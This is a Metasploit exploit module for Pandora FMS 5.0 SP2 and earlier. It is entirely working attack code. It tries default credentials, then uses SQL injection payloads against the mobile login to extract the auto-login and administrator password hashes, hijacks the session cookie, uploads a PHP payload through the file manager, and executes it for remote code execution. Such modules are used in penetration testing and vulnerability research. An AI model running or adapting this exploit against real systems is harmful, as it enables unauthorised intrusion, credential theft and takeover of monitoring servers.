Pandora Fms – SQL Injection Remote Code Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Pandora FMS SQLi Remote Code Execution', 'Description' => %q{ This module attempts to exploit multiple issues in order to gain remote code execution under Pandora FMS version <= 5.0 SP2. First, an attempt to authenticate using default credentials is performed. If this method fails, a SQL injection vulnerability is leveraged in order to extract the "Auto Login" password hash. If this value is not set, the module will then extract the administrator account's MD5 password hash. }, 'License' => MSF_LICENSE, 'Author' => [ 'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept 'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module ], 'References' => [ ['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'], ['URL', 'http://blog.pandorafms.org/?p=2041'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Pandora FMS version <= 5.0 SP2', {}] ], 'Privileged' => false, 'Payload' => { 'Space' => 50000, 'DisableNops' => true, }, 'DisclosureDate' => "Feb 1 2014", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']), OptString.new('USER', [false, 'The username to authenticate with', 'admin']), OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']), ], self.class) end def uri target_uri.path end def check vprint_status("#{peer} - Trying to detect installed version") version = nil res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php') }) if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/ if res.body =~ /<div id="ver_num">v(.*?)<\/div>/ version = $1 else return Exploit::CheckCode::Detected end end unless version.nil? vprint_status("#{peer} - Pandora FMS #{version} found") if Gem::Version.new(version) <= Gem::Version.new('5.0SP2') return Exploit::CheckCode::Appears end end Exploit::CheckCode::Safe end # Attempt to login with credentials (default admin:pandora) def authenticate res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { 'login' => "1", }, 'vars_post' => { 'nick' => datastore['USER'], 'pass' => datastore['PASS'], 'Login' => 'Login', } }) return auth_succeeded?(res) end # Attempt to login with auto login and SQLi def login_hash clue = rand_text_alpha(8) sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join # select value from tconfig where token = 'loginhash_pwd'; sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST" sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 " sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP " sqli << "BY x)a) AND 'msf'='msf" password = inject_sql(sqli, clue) if password && password.length != 0 print_status("#{peer} - Extracted auto login password (#{password})") else print_error("#{peer} - No auto login password has been defined!") return false end print_status("#{peer} - Attempting to authenticate using (admin:#{password})") # Attempt to login using login hash password res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { 'loginhash' => 'auto', }, 'vars_post' => { 'loginhash_data' => Rex::Text.md5("admin#{password}"), 'loginhash_user' => 'admin', } }) return auth_succeeded?(res) end def auth_succeeded?(res) if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS') print_status("#{peer} - Successfully authenticated!") print_status("#{peer} - Attempting to retrieve session cookie") @cookie = res.get_cookies if @cookie.include?('PHPSESSID') print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}") return true else print_error("#{peer} - Error retrieving cookie!") end else print_error("#{peer} - Authentication failed!") end false end def extract # Generate random string and convert to hex clue = rand_text_alpha(8) hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join # select password from tusuario where id_user = 0; sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL" sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)" sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY " sqli << "x)a) AND 'msf'='msf" password = inject_sql(sqli, clue) if password && password.length != 0 print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]") else print_error("#{peer} - Unable to extract password hash!") return false end end def inject_sql(sql, fence_post) # Extract password hash from database res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'mobile', 'index.php'), 'vars_post' => { 'action' => 'login', 'user' => sql, 'password' => 'pass', 'input' => 'Login' } }) result = nil if res && res.code == 200 match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/) if match result = match[1] else print_error("#{peer} - SQL injection failed") end end result end def upload # Extract hash and hash2 from response res = send_request_cgi({ 'method' => 'GET', 'cookie' => @cookie, 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { 'sec' => 'gsetup', 'sec2' => 'godmode/setup/file_manager' } }) if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/ form = $1 # Extract hash if form =~ /(?<=name="hash" type="hidden" value=")(.*?)(?=" \/>)/ hash = $1 else print_error("#{peer} - Could not extract hash from response!") fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") end # Extract hash2 if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/>)/ hash2 = $1 else print_error("#{peer} - Could not extract hash2 from response!") fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") end # Extract real_directory if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/>)/ real_directory = $1 else print_error("#{peer} - Could not extract real_directory from response!") fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") end else print_error("#{peer} - Could not identify upload form!") fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") end # Upload script @payload_name = "#{rand_text_alpha(8)}.php" post_data = Rex::MIME::Message.new post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^) post_data.add_part('', nil, nil, 'form-data; name="unmask"') post_data.add_part('Go', nil, nil, 'form-data; name="go"') post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"') post_data.add_part('images', nil, nil, 'form-data; name="directory"') post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"') post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"') post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"') print_status("#{peer} - Attempting to upload payload #{@payload_name}...") res = send_request_cgi({ 'method' => 'POST', 'cookie' => @cookie, 'uri' => normalize_uri(uri, 'index.php'), 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => post_data.to_s, 'vars_get' => { 'sec' => 'gsetup', 'sec2' => 'godmode/setup/file_manager' } }) if res && res.code == 200 && res.body.include?("Upload correct") register_file_for_cleanup(@payload_name) print_status("#{peer} - Successfully uploaded payload") else fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!") end end def exploit # First try to authenticate using default or user-supplied credentials print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})") auth = authenticate unless auth print_status("#{peer} - Attempting to extract auto login hash via SQLi") auth = login_hash end unless auth print_status("#{peer} - Attempting to extract admin password hash with SQLi") extract fail_with(Failure::NoAccess, "#{peer} - Unable to perform remote code execution!") end print_status("#{peer} - Uploading PHP payload...") upload print_status("#{peer} - Executing payload...") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'images', @payload_name), 'cookie' => @cookie }, 1) end end |